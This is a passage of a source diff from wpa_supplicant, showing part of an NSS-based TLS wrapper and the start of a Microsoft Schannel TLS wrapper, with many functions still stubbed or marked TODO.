return PR_FAILURE;
|
||||
}
|
||||
|
||||
|
||||
static PRInt32 nss_io_writev(PRFileDesc *fd, const PRIOVec *iov,
|
||||
PRInt32 iov_size, PRIntervalTime timeout)
|
||||
{
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O writev(%d)", iov_size);
|
||||
return PR_FAILURE;
|
||||
}
|
||||
|
||||
|
||||
static PRInt32 nss_io_recv(PRFileDesc *fd, void *buf, PRInt32 amount,
|
||||
PRIntn flags, PRIntervalTime timeout)
|
||||
{
|
||||
struct tls_connection *conn = (struct tls_connection *) fd->secret;
|
||||
u8 *end;
|
||||
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O recv(%d)", amount);
|
||||
|
||||
if (conn->pull_buf == NULL) {
|
||||
wpa_printf(MSG_DEBUG, "NSS: No data available to be read yet");
|
||||
return PR_FAILURE;
|
||||
}
|
||||
|
||||
end = conn->pull_buf + conn->pull_buf_len;
|
||||
if (end - conn->pull_buf_offset < amount)
|
||||
amount = end - conn->pull_buf_offset;
|
||||
os_memcpy(buf, conn->pull_buf_offset, amount);
|
||||
conn->pull_buf_offset += amount;
|
||||
if (conn->pull_buf_offset == end) {
|
||||
wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__);
|
||||
os_free(conn->pull_buf);
|
||||
conn->pull_buf = conn->pull_buf_offset = NULL;
|
||||
conn->pull_buf_len = 0;
|
||||
} else {
|
||||
wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf",
|
||||
__func__,
|
||||
(unsigned long) (end - conn->pull_buf_offset));
|
||||
}
|
||||
return amount;
|
||||
}
|
||||
|
||||
|
||||
static PRInt32 nss_io_send(PRFileDesc *fd, const void *buf, PRInt32 amount,
|
||||
PRIntn flags, PRIntervalTime timeout)
|
||||
{
|
||||
struct tls_connection *conn = (struct tls_connection *) fd->secret;
|
||||
u8 *nbuf;
|
||||
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__);
|
||||
wpa_hexdump(MSG_MSGDUMP, "NSS: I/O send data", buf, amount);
|
||||
|
||||
nbuf = os_realloc(conn->push_buf, conn->push_buf_len + amount);
|
||||
if (nbuf == NULL) {
|
||||
wpa_printf(MSG_ERROR, "NSS: Failed to allocate memory for the "
|
||||
"data to be sent");
|
||||
return PR_FAILURE;
|
||||
}
|
||||
os_memcpy(nbuf + conn->push_buf_len, buf, amount);
|
||||
conn->push_buf = nbuf;
|
||||
conn->push_buf_len += amount;
|
||||
|
||||
return amount;
|
||||
}
|
||||
|
||||
|
||||
static PRInt32 nss_io_recvfrom(PRFileDesc *fd, void *buf, PRInt32 amount,
|
||||
PRIntn flags, PRNetAddr *addr,
|
||||
PRIntervalTime timeout)
|
||||
{
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__);
|
||||
return PR_FAILURE;
|
||||
}
|
||||
|
||||
|
||||
static PRInt32 nss_io_sendto(PRFileDesc *fd, const void *buf, PRInt32 amount,
|
||||
PRIntn flags, const PRNetAddr *addr,
|
||||
PRIntervalTime timeout)
|
||||
{
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O %s", __func__);
|
||||
return PR_FAILURE;
|
||||
}
|
||||
|
||||
|
||||
static PRStatus nss_io_getpeername(PRFileDesc *fd, PRNetAddr *addr)
|
||||
{
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O getpeername");
|
||||
|
||||
/*
|
||||
* It Looks like NSS only supports IPv4 and IPv6 TCP sockets. Provide a
|
||||
* fake IPv4 address to work around this even though we are not really
|
||||
* using TCP.
|
||||
*/
|
||||
os_memset(addr, 0, sizeof(*addr));
|
||||
addr->inet.family = PR_AF_INET;
|
||||
|
||||
return PR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
static PRStatus nss_io_getsocketoption(PRFileDesc *fd,
|
||||
PRSocketOptionData *data)
|
||||
{
|
||||
switch (data->option) {
|
||||
case PR_SockOpt_Nonblocking:
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(Nonblocking)");
|
||||
data->value.non_blocking = PR_TRUE;
|
||||
return PR_SUCCESS;
|
||||
default:
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O getsocketoption(%d)",
|
||||
data->option);
|
||||
return PR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static const PRIOMethods nss_io = {
|
||||
PR_DESC_LAYERED,
|
||||
nss_io_close,
|
||||
nss_io_read,
|
||||
nss_io_write,
|
||||
NULL /* available */,
|
||||
NULL /* available64 */,
|
||||
NULL /* fsync */,
|
||||
NULL /* fseek */,
|
||||
NULL /* fseek64 */,
|
||||
NULL /* fileinfo */,
|
||||
NULL /* fileinfo64 */,
|
||||
nss_io_writev,
|
||||
NULL /* connect */,
|
||||
NULL /* accept */,
|
||||
NULL /* bind */,
|
||||
NULL /* listen */,
|
||||
NULL /* shutdown */,
|
||||
nss_io_recv,
|
||||
nss_io_send,
|
||||
nss_io_recvfrom,
|
||||
nss_io_sendto,
|
||||
NULL /* poll */,
|
||||
NULL /* acceptread */,
|
||||
NULL /* transmitfile */,
|
||||
NULL /* getsockname */,
|
||||
nss_io_getpeername,
|
||||
NULL /* reserved_fn_6 */,
|
||||
NULL /* reserved_fn_5 */,
|
||||
nss_io_getsocketoption,
|
||||
NULL /* setsocketoption */,
|
||||
NULL /* sendfile */,
|
||||
NULL /* connectcontinue */,
|
||||
NULL /* reserved_fn_3 */,
|
||||
NULL /* reserved_fn_2 */,
|
||||
NULL /* reserved_fn_1 */,
|
||||
NULL /* reserved_fn_0 */
|
||||
};
|
||||
|
||||
|
||||
static char * nss_password_cb(PK11SlotInfo *slot, PRBool retry, void *arg)
|
||||
{
|
||||
wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
void * tls_init(const struct tls_config *conf)
|
||||
{
|
||||
char *dir;
|
||||
|
||||
tls_nss_ref_count++;
|
||||
if (tls_nss_ref_count > 1)
|
||||
return (void *) 1;
|
||||
|
||||
PR_Init(PR_SYSTEM_THREAD, PR_PRIORITY_NORMAL, 1);
|
||||
|
||||
nss_layer_id = PR_GetUniqueIdentity("wpa_supplicant");
|
||||
|
||||
PK11_SetPasswordFunc(nss_password_cb);
|
||||
|
||||
dir = getenv("SSL_DIR");
|
||||
if (dir) {
|
||||
if (NSS_Init(dir) != SECSuccess) {
|
||||
wpa_printf(MSG_ERROR, "NSS: NSS_Init(cert_dir=%s) "
|
||||
"failed", dir);
|
||||
return NULL;
|
||||
}
|
||||
} else {
|
||||
if (NSS_NoDB_Init(NULL) != SECSuccess) {
|
||||
wpa_printf(MSG_ERROR, "NSS: NSS_NoDB_Init(NULL) "
|
||||
"failed");
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
if (SSL_OptionSetDefault(SSL_V2_COMPATIBLE_HELLO, PR_FALSE) !=
|
||||
SECSuccess ||
|
||||
SSL_OptionSetDefault(SSL_ENABLE_SSL3, PR_FALSE) != SECSuccess ||
|
||||
SSL_OptionSetDefault(SSL_ENABLE_SSL2, PR_FALSE) != SECSuccess ||
|
||||
SSL_OptionSetDefault(SSL_ENABLE_TLS, PR_TRUE) != SECSuccess) {
|
||||
wpa_printf(MSG_ERROR, "NSS: SSL_OptionSetDefault failed");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (NSS_SetDomesticPolicy() != SECSuccess) {
|
||||
wpa_printf(MSG_ERROR, "NSS: NSS_SetDomesticPolicy() failed");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return (void *) 1;
|
||||
}
|
||||
|
||||
void tls_deinit(void *ssl_ctx)
|
||||
{
|
||||
tls_nss_ref_count--;
|
||||
if (tls_nss_ref_count == 0) {
|
||||
if (NSS_Shutdown() != SECSuccess)
|
||||
wpa_printf(MSG_ERROR, "NSS: NSS_Shutdown() failed");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int tls_get_errors(void *tls_ctx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static SECStatus nss_bad_cert_cb(void *arg, PRFileDesc *fd)
|
||||
{
|
||||
struct tls_connection *conn = arg;
|
||||
SECStatus res = SECSuccess;
|
||||
PRErrorCode err;
|
||||
CERTCertificate *cert;
|
||||
char *subject, *issuer;
|
||||
|
||||
err = PR_GetError();
|
||||
if (IS_SEC_ERROR(err))
|
||||
wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (sec err "
|
||||
"%d)", err - SEC_ERROR_BASE);
|
||||
else
|
||||
wpa_printf(MSG_DEBUG, "NSS: Bad Server Certificate (err %d)",
|
||||
err);
|
||||
cert = SSL_PeerCertificate(fd);
|
||||
subject = CERT_NameToAscii(&cert->subject);
|
||||
issuer = CERT_NameToAscii(&cert->issuer);
|
||||
wpa_printf(MSG_DEBUG, "NSS: Peer certificate subject='%s' issuer='%s'",
|
||||
subject, issuer);
|
||||
CERT_DestroyCertificate(cert);
|
||||
PR_Free(subject);
|
||||
PR_Free(issuer);
|
||||
if (conn->verify_peer)
|
||||
res = SECFailure;
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
|
||||
static void nss_handshake_cb(PRFileDesc *fd, void *client_data)
|
||||
{
|
||||
struct tls_connection *conn = client_data;
|
||||
wpa_printf(MSG_DEBUG, "NSS: Handshake completed");
|
||||
conn->established = 1;
|
||||
}
|
||||
|
||||
|
||||
struct tls_connection * tls_connection_init(void *tls_ctx)
|
||||
{
|
||||
struct tls_connection *conn;
|
||||
|
||||
conn = os_zalloc(sizeof(*conn));
|
||||
if (conn == NULL)
|
||||
return NULL;
|
||||
|
||||
conn->fd = PR_CreateIOLayerStub(nss_layer_id, &nss_io);
|
||||
if (conn->fd == NULL) {
|
||||
os_free(conn);
|
||||
return NULL;
|
||||
}
|
||||
conn->fd->secret = (void *) conn;
|
||||
|
||||
conn->fd = SSL_ImportFD(NULL, conn->fd);
|
||||
if (conn->fd == NULL) {
|
||||
os_free(conn);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (SSL_OptionSet(conn->fd, SSL_SECURITY, PR_TRUE) != SECSuccess ||
|
||||
SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_CLIENT, PR_TRUE) !=
|
||||
SECSuccess ||
|
||||
SSL_OptionSet(conn->fd, SSL_HANDSHAKE_AS_SERVER, PR_FALSE) !=
|
||||
SECSuccess ||
|
||||
SSL_OptionSet(conn->fd, SSL_ENABLE_TLS, PR_TRUE) != SECSuccess ||
|
||||
SSL_BadCertHook(conn->fd, nss_bad_cert_cb, conn) != SECSuccess ||
|
||||
SSL_HandshakeCallback(conn->fd, nss_handshake_cb, conn) !=
|
||||
SECSuccess) {
|
||||
wpa_printf(MSG_ERROR, "NSS: Failed to set options");
|
||||
PR_Close(conn->fd);
|
||||
os_free(conn);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
SSL_ResetHandshake(conn->fd, PR_FALSE);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
|
||||
void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
PR_Close(conn->fd);
|
||||
os_free(conn->push_buf);
|
||||
os_free(conn->pull_buf);
|
||||
os_free(conn);
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_established(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return conn->established;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
|
||||
const struct tls_connection_params *params)
|
||||
{
|
||||
wpa_printf(MSG_ERROR, "NSS: TODO - %s", __func__);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_global_set_params(void *tls_ctx,
|
||||
const struct tls_connection_params *params)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_global_set_verify(void *tls_ctx, int check_crl)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn,
|
||||
int verify_peer)
|
||||
{
|
||||
conn->verify_peer = verify_peer;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
|
||||
int tls_ia)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn,
|
||||
struct tls_keys *keys)
|
||||
{
|
||||
/* NSS does not export master secret or client/server random. */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
|
||||
const char *label, int server_random_first,
|
||||
u8 *out, size_t out_len)
|
||||
{
|
||||
if (conn == NULL || server_random_first) {
|
||||
wpa_printf(MSG_INFO, "NSS: Unsupported PRF request "
|
||||
"(server_random_first=%d)",
|
||||
server_random_first);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (SSL_ExportKeyingMaterial(conn->fd, label, NULL, 0, out, out_len) !=
|
||||
SECSuccess) {
|
||||
wpa_printf(MSG_INFO, "NSS: Failed to use TLS extractor "
|
||||
"(label='%s' out_len=%d", label, (int) out_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data)
|
||||
{
|
||||
struct wpabuf *out_data;
|
||||
|
||||
wpa_printf(MSG_DEBUG, "NSS: handshake: in_len=%u",
|
||||
in_data ? (unsigned int) wpabuf_len(in_data) : 0);
|
||||
|
||||
if (appl_data)
|
||||
*appl_data = NULL;
|
||||
|
||||
if (in_data && wpabuf_len(in_data) > 0) {
|
||||
if (conn->pull_buf) {
|
||||
wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in "
|
||||
"pull_buf", __func__,
|
||||
(unsigned long) conn->pull_buf_len);
|
||||
os_free(conn->pull_buf);
|
||||
}
|
||||
conn->pull_buf = os_malloc(wpabuf_len(in_data));
|
||||
if (conn->pull_buf == NULL)
|
||||
return NULL;
|
||||
os_memcpy(conn->pull_buf, wpabuf_head(in_data),
|
||||
wpabuf_len(in_data));
|
||||
conn->pull_buf_offset = conn->pull_buf;
|
||||
conn->pull_buf_len = wpabuf_len(in_data);
|
||||
}
|
||||
|
||||
SSL_ForceHandshake(conn->fd);
|
||||
|
||||
if (conn->established && conn->push_buf == NULL) {
|
||||
/* Need to return something to get final TLS ACK. */
|
||||
conn->push_buf = os_malloc(1);
|
||||
}
|
||||
|
||||
if (conn->push_buf == NULL)
|
||||
return NULL;
|
||||
out_data = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len);
|
||||
if (out_data == NULL)
|
||||
os_free(conn->push_buf);
|
||||
conn->push_buf = NULL;
|
||||
conn->push_buf_len = 0;
|
||||
return out_data;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data)
|
||||
{
|
||||
PRInt32 res;
|
||||
struct wpabuf *buf;
|
||||
|
||||
wpa_printf(MSG_DEBUG, "NSS: encrypt %d bytes",
|
||||
(int) wpabuf_len(in_data));
|
||||
res = PR_Send(conn->fd, wpabuf_head(in_data), wpabuf_len(in_data), 0,
|
||||
0);
|
||||
if (res < 0) {
|
||||
wpa_printf(MSG_ERROR, "NSS: Encryption failed");
|
||||
return NULL;
|
||||
}
|
||||
if (conn->push_buf == NULL)
|
||||
return NULL;
|
||||
buf = wpabuf_alloc_ext_data(conn->push_buf, conn->push_buf_len);
|
||||
if (buf == NULL)
|
||||
os_free(conn->push_buf);
|
||||
conn->push_buf = NULL;
|
||||
conn->push_buf_len = 0;
|
||||
return buf;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data)
|
||||
{
|
||||
PRInt32 res;
|
||||
struct wpabuf *out;
|
||||
|
||||
wpa_printf(MSG_DEBUG, "NSS: decrypt %d bytes",
|
||||
(int) wpabuf_len(in_data));
|
||||
if (conn->pull_buf) {
|
||||
wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in "
|
||||
"pull_buf", __func__,
|
||||
(unsigned long) conn->pull_buf_len);
|
||||
os_free(conn->pull_buf);
|
||||
}
|
||||
conn->pull_buf = os_malloc(wpabuf_len(in_data));
|
||||
if (conn->pull_buf == NULL)
|
||||
return NULL;
|
||||
os_memcpy(conn->pull_buf, wpabuf_head(in_data), wpabuf_len(in_data));
|
||||
conn->pull_buf_offset = conn->pull_buf;
|
||||
conn->pull_buf_len = wpabuf_len(in_data);
|
||||
|
||||
/*
|
||||
* Even though we try to disable TLS compression, it is possible that
|
||||
* this cannot be done with all TLS libraries. Add extra buffer space
|
||||
* to handle the possibility of the decrypted data being longer than
|
||||
* input data.
|
||||
*/
|
||||
out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3);
|
||||
if (out == NULL)
|
||||
return NULL;
|
||||
|
||||
res = PR_Recv(conn->fd, wpabuf_mhead(out), wpabuf_size(out), 0, 0);
|
||||
wpa_printf(MSG_DEBUG, "NSS: PR_Recv: %d", res);
|
||||
if (res < 0) {
|
||||
wpabuf_free(out);
|
||||
return NULL;
|
||||
}
|
||||
wpabuf_put(out, res);
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
|
||||
u8 *ciphers)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_get_cipher(void *tls_ctx, struct tls_connection *conn,
|
||||
char *buf, size_t buflen)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_enable_workaround(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn,
|
||||
int ext_type, const u8 *data,
|
||||
size_t data_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_write_alerts(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_keyblock_size(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
unsigned int tls_capabilities(void *tls_ctx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_ia_send_phase_finished(
|
||||
void *tls_ctx, struct tls_connection *conn, int final)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_ia_final_phase_finished(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const u8 *key, size_t key_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_session_ticket_cb(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
tls_session_ticket_cb cb,
|
||||
void *ctx)
|
||||
{
|
||||
return -1;
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,767 @@
|
|||
/*
|
||||
* SSL/TLS interface functions for Microsoft Schannel
|
||||
* Copyright (c) 2005-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
/*
|
||||
* FIX: Go through all SSPI functions and verify what needs to be freed
|
||||
* FIX: session resumption
|
||||
* TODO: add support for server cert chain validation
|
||||
* TODO: add support for CA cert validation
|
||||
* TODO: add support for EAP-TLS (client cert/key conf)
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <windows.h>
|
||||
#include <wincrypt.h>
|
||||
#include <schannel.h>
|
||||
#define SECURITY_WIN32
|
||||
#include <security.h>
|
||||
#include <sspi.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "tls.h"
|
||||
|
||||
|
||||
struct tls_global {
|
||||
HMODULE hsecurity;
|
||||
PSecurityFunctionTable sspi;
|
||||
HCERTSTORE my_cert_store;
|
||||
};
|
||||
|
||||
struct tls_connection {
|
||||
int established, start;
|
||||
int failed, read_alerts, write_alerts;
|
||||
|
||||
SCHANNEL_CRED schannel_cred;
|
||||
CredHandle creds;
|
||||
CtxtHandle context;
|
||||
|
||||
u8 eap_tls_prf[128];
|
||||
int eap_tls_prf_set;
|
||||
};
|
||||
|
||||
|
||||
static int schannel_load_lib(struct tls_global *global)
|
||||
{
|
||||
INIT_SECURITY_INTERFACE pInitSecurityInterface;
|
||||
|
||||
global->hsecurity = LoadLibrary(TEXT("Secur32.dll"));
|
||||
if (global->hsecurity == NULL) {
|
||||
wpa_printf(MSG_ERROR, "%s: Could not load Secur32.dll - 0x%x",
|
||||
__func__, (unsigned int) GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
pInitSecurityInterface = (INIT_SECURITY_INTERFACE) GetProcAddress(
|
||||
global->hsecurity, "InitSecurityInterfaceA");
|
||||
if (pInitSecurityInterface == NULL) {
|
||||
wpa_printf(MSG_ERROR, "%s: Could not find "
|
||||
"InitSecurityInterfaceA from Secur32.dll",
|
||||
__func__);
|
||||
FreeLibrary(global->hsecurity);
|
||||
global->hsecurity = NULL;
|
||||
return -1;
|
||||
}
|
||||
|
||||
global->sspi = pInitSecurityInterface();
|
||||
if (global->sspi == NULL) {
|
||||
wpa_printf(MSG_ERROR, "%s: Could not read security "
|
||||
"interface - 0x%x",
|
||||
__func__, (unsigned int) GetLastError());
|
||||
FreeLibrary(global->hsecurity);
|
||||
global->hsecurity = NULL;
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void * tls_init(const struct tls_config *conf)
|
||||
{
|
||||
struct tls_global *global;
|
||||
|
||||
global = os_zalloc(sizeof(*global));
|
||||
if (global == NULL)
|
||||
return NULL;
|
||||
if (schannel_load_lib(global)) {
|
||||
os_free(global);
|
||||
return NULL;
|
||||
}
|
||||
return global;
|
||||
}
|
||||
|
||||
|
||||
void tls_deinit(void *ssl_ctx)
|
||||
{
|
||||
struct tls_global *global = ssl_ctx;
|
||||
|
||||
if (global->my_cert_store)
|
||||
CertCloseStore(global->my_cert_store, 0);
|
||||
FreeLibrary(global->hsecurity);
|
||||
os_free(global);
|
||||
}
|
||||
|
||||
|
||||
int tls_get_errors(void *ssl_ctx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct tls_connection * tls_connection_init(void *ssl_ctx)
|
||||
{
|
||||
struct tls_connection *conn;
|
||||
|
||||
conn = os_zalloc(sizeof(*conn));
|
||||
if (conn == NULL)
|
||||
return NULL;
|
||||
conn->start = 1;
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
|
||||
void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn)
|
||||
{
|
||||
if (conn == NULL)
|
||||
return;
|
||||
|
||||
os_free(conn);
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_established(void *ssl_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return conn ? conn->established : 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn)
|
||||
{
|
||||
struct tls_global *global = ssl_ctx;
|
||||
if (conn == NULL)
|
||||
return -1;
|
||||
|
||||
conn->eap_tls_prf_set = 0;
|
||||
conn->established = conn->failed = 0;
|
||||
conn->read_alerts = conn->write_alerts = 0;
|
||||
global->sspi->DeleteSecurityContext(&conn->context);
|
||||
/* FIX: what else needs to be reseted? */
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_global_set_params(void *tls_ctx,
|
||||
const struct tls_connection_params *params)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_global_set_verify(void *ssl_ctx, int check_crl)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn,
|
||||
int verify_peer)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn,
|
||||
struct tls_keys *keys)
|
||||
{
|
||||
/* Schannel does not export master secret or client/server random. */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
|
||||
const char *label, int server_random_first,
|
||||
u8 *out, size_t out_len)
|
||||
{
|
||||
/*
|
||||
* Cannot get master_key from Schannel, but EapKeyBlock can be used to
|
||||
* generate session keys for EAP-TLS and EAP-PEAPv0. EAP-PEAPv2 and
|
||||
* EAP-TTLS cannot use this, though, since they are using different
|
||||
* labels. The only option could be to implement TLSv1 completely here
|
||||
* and just use Schannel or CryptoAPI for low-level crypto
|
||||
* functionality..
|
||||
*/
|
||||
|
||||
if (conn == NULL || !conn->eap_tls_prf_set || server_random_first ||
|
||||
os_strcmp(label, "client EAP encryption") != 0 ||
|
||||
out_len > sizeof(conn->eap_tls_prf))
|
||||
return -1;
|
||||
|
||||
os_memcpy(out, conn->eap_tls_prf, out_len);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static struct wpabuf * tls_conn_hs_clienthello(struct tls_global *global,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
DWORD sspi_flags, sspi_flags_out;
|
||||
SecBufferDesc outbuf;
|
||||
SecBuffer outbufs[1];
|
||||
SECURITY_STATUS status;
|
||||
TimeStamp ts_expiry;
|
||||
|
||||
sspi_flags = ISC_REQ_REPLAY_DETECT |
|
||||
ISC_REQ_CONFIDENTIALITY |
|
||||
ISC_RET_EXTENDED_ERROR |
|
||||
ISC_REQ_ALLOCATE_MEMORY |
|
||||
ISC_REQ_MANUAL_CRED_VALIDATION;
|
||||
|
||||
wpa_printf(MSG_DEBUG, "%s: Generating ClientHello", __func__);
|
||||
|
||||
outbufs[0].pvBuffer = NULL;
|
||||
outbufs[0].BufferType = SECBUFFER_TOKEN;
|
||||
outbufs[0].cbBuffer = 0;
|
||||
|
||||
outbuf.cBuffers = 1;
|
||||
outbuf.pBuffers = outbufs;
|
||||
outbuf.ulVersion = SECBUFFER_VERSION;
|
||||
|
||||
#ifdef UNICODE
|
||||
status = global->sspi->InitializeSecurityContextW(
|
||||
&conn->creds, NULL, NULL /* server name */, sspi_flags, 0,
|
||||
SECURITY_NATIVE_DREP, NULL, 0, &conn->context,
|
||||
&outbuf, &sspi_flags_out, &ts_expiry);
|
||||
#else /* UNICODE */
|
||||
status = global->sspi->InitializeSecurityContextA(
|
||||
&conn->creds, NULL, NULL /* server name */, sspi_flags, 0,
|
||||
SECURITY_NATIVE_DREP, NULL, 0, &conn->context,
|
||||
&outbuf, &sspi_flags_out, &ts_expiry);
|
||||
#endif /* UNICODE */
|
||||
if (status != SEC_I_CONTINUE_NEEDED) {
|
||||
wpa_printf(MSG_ERROR, "%s: InitializeSecurityContextA "
|
||||
"failed - 0x%x",
|
||||
__func__, (unsigned int) status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) {
|
||||
struct wpabuf *buf;
|
||||
wpa_hexdump(MSG_MSGDUMP, "SChannel - ClientHello",
|
||||
outbufs[0].pvBuffer, outbufs[0].cbBuffer);
|
||||
conn->start = 0;
|
||||
buf = wpabuf_alloc_copy(outbufs[0].pvBuffer,
|
||||
outbufs[0].cbBuffer);
|
||||
if (buf == NULL)
|
||||
return NULL;
|
||||
global->sspi->FreeContextBuffer(outbufs[0].pvBuffer);
|
||||
return buf;
|
||||
}
|
||||
|
||||
wpa_printf(MSG_ERROR, "SChannel: Failed to generate ClientHello");
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
#ifndef SECPKG_ATTR_EAP_KEY_BLOCK
|
||||
#define SECPKG_ATTR_EAP_KEY_BLOCK 0x5b
|
||||
|
||||
typedef struct _SecPkgContext_EapKeyBlock {
|
||||
BYTE rgbKeys[128];
|
||||
BYTE rgbIVs[64];
|
||||
} SecPkgContext_EapKeyBlock, *PSecPkgContext_EapKeyBlock;
|
||||
